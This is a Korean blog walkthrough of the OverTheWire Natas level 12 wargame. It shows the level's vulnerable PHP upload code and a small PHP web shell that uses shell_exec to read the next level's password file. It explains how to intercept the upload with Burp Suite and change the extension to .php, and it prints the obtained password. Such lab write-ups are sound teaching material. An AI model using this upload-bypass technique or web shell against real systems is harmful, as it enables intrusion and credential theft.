OverTheWire: Natas level12
OverTheWire 문제풀이 - Natas
* Bandit는 웹 보안 관련 문제입니다.
* 개인적인 문제풀이로 해답을 보시기 전에 직접 풀어보시기를 권해드립니다.
* 반드시 연습용으로 제공된 환경에서만 작업하시기 바랍니다. 악용으로 일어난 사태는 절대로 책임지지 않습니다.
Natas level12
Natas12에 접속하면 다음과 같은 화면을 볼 수 있다.
파일을 선택하고 업로드할 수 있는 버튼이 있는데 아무런 사진을 올려도 밑과 같은 화면이 출력될 뿐이다. 코드를 살펴 볼 필요가 있다.
[View sourcecode]
[php]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> | cs |
[html]
1 2 3 4 5 6 7 | <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> | cs |
genRandomString() 라는 함수가 문자열을 랜덤으로 생산하고 html 코드를 보면 이 함수를 적용시켜 랜덤으로 파일 이름을 짓고 뒤에 강제적으로 .jpg 형식으로 저장하는 것을 알 수 있다. 파일 업로드가 있으니 php 파일 업로드 취약점을 이용하는 문제라고 가정하고 진행해 보겠다. 그러면 어떠한 코드를 짜도 jpg 즉 이미지 형식으로 업로드가 되버리면 아무 소용이 없다. 따라서 php 형식으로 업로드할 수 있는 방법을 찾아야 하는데 burp suite 툴을 이용해서 패킷을 가로채 보겠다.
[문제 풀이]
일단, 업로드 할 php 코드를 짜야하는데, 우리의 목적은 natas13의 패스워드이고 해당 패스워스들이 어느 위치에 있는지 natas를 풀어봤다면 알 것이다. natas13의 패스워드는 /etc/natas_webpass/natas13 에 있을 것이고, 이 파일을 읽기만 하면 된다. 해당 파일의 내용을 자동으로 출력할 수 있게 다음과 같이 코드를 짜보았다.
1 2 3 4 | <?php $output = shell_exec('cat /etc/natas_webpass/natas13'); echo "$output"; ?> | cs |
이 php 파일을 php형식으로 업로드 할 수만 있다면 shell_exec 함수로 인해 자동으로 해당 위치의 파일의 내용이 출력될 것이다. 해당 내용을 .php 형식으로 저장해놓고, 웹프록시 서버 설정 후 버프 슈트를 키고 해당 파일을 업로드 해보자. 그러면 다음과 같이 업로드 되는 패킷을 가로챌 수 있을 것이다. 혹시나 아직 버프슈트를 사용해본적이 없다면 밑에 링크 걸어놨으니 구독해보고 진행하면 된다.
위와 같이 코드를 저장한 파일 형식자를 php로 저장한 뒤에 업로드를 해보자. 이 때 버프슈트가 작동중이어야 한다.
업로드할때 패킷을 버프슈트로 가로챈 화면이다. 빨갛게 네모난 박스를 보면 분명히 natas12.php 형식으로 올렸지만 랜덤함수로 인해 파일명이 무작위로 바뀌고 확장자명이 jpg로 바뀐것을 확인할 수 있다. 파일명은 뭐든 상관없지만 중요한건 확장자이기 때문에 이를 다음과 같이 수정해준다.
수정이 완료됬다면 Forword를 눌러 패킷을 보내보자.
최종적으로 위와 같이 파일이 업로드 될 것이고. 업로드 된 파일을 누르면 파일 안에 있던 코드들이 실행되면서 다음 레벨의 암호를 획득할 수 있다.
↓ 획득한 암호 화면
모든 작업이 끝나면 웹 프록시 설정을 꼭 끄도록 하자. 안그러면 인터넷을 사용하기 힘들테니...
next level password : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
'War Game > natas' 카테고리의 다른 글
OverTheWire: Natas level14 (0) | 2017.07.20 |
---|---|
OverTheWire: Natas level13 (0) | 2017.07.20 |
OverTheWire: Natas level11 (0) | 2017.07.12 |
OverTheWire: Natas level10 (0) | 2017.07.12 |
OverTheWire: Natas level9 (0) | 2017.04.27 |